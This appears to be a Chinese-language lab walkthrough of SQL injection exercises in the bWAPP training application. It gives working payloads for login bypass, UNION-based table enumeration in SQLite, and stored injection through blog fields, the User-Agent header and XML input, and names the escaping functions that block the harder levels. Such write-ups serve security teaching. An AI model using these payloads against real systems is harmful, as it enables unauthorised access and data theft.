SQL Injection (Login Form/Hero)
Level: Low
通过POST方式提交
login=bee&password=bug' or 1=1 -- -&form=submit
Level: Medium
使用
addslashes()
进行了过滤
Level: High
使用
mysql_real_escape_string()
进行了过滤
SQL Injection (Login Form/User)
Level: Low
SQL Injection (Login Form/Hero)中是密码部分可以绕过,本题是登录名部分绕过
login=bee' or 1=1 -- - &password=bug&form=submit
Level: Medium
使用
addslashes()
进行了过滤
Level: High
使用
mysql_real_escape_string()
进行了过滤
SQL Injection (SQLite)
Level: Low
SQLite的注入方式与MySql一致,只是涉及一些数据库的表达式不同
字段数:
title=world' order by 6 --
显示位置:
title=world' union select 1,2,3,4,5,6 --
表名称:
title=world' union select 1,name,3,4,5,6 from sqlite_master where type='table' --
Level:Medium/High
源码中添加了过滤
$input = str_replace("'", "''", $data);
SQL Injection - Stored (Blog)
Level: Low
查看源码:
$sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";
在没有过滤的情况下,可以通过
',(select database()))#
重新组合语句进行注入
version();user()等同样适用
Level: Medium
使用
addslashes()
进行了过滤
Level: High
使用
mysql_real_escape_string()
进行了过滤
SQL Injection - Stored (User-Agent)
Level: Low
本题中 User-Agent会被载入数据库中,源码如下:
$sql = "INSERT INTO visitors (date, user_agent, ip_address) VALUES (now(), '" . sqli($user_agent) . "', '" . $ip_address . "')";
使用Burp Sutie
抓包,修改User-Agent如下:
User-Agent: hello',(select user()))#
Level: Medium
使用
addslashes()
进行了过滤
Level: High
使用
mysql_real_escape_string()
进行了过滤
SQL Injection - Stored (XML)
Level: Low
直接点击 Any bug?
按钮没有任何反应
使用Burp Sutie
抓包,重放发现了秘密
修改login
的值,可以看到存在SQL注入点,并且可以获取数据库名
<reset><login>bee' +(select 0 from admin)+' </login><secret>Any bugs?</secret></reset>
其他的sql语句不再一一列举了~~~
Level: Medium
使用
addslashes()
进行了过滤
Level: High
使用
mysql_real_escape_string()
进行了过滤
网友评论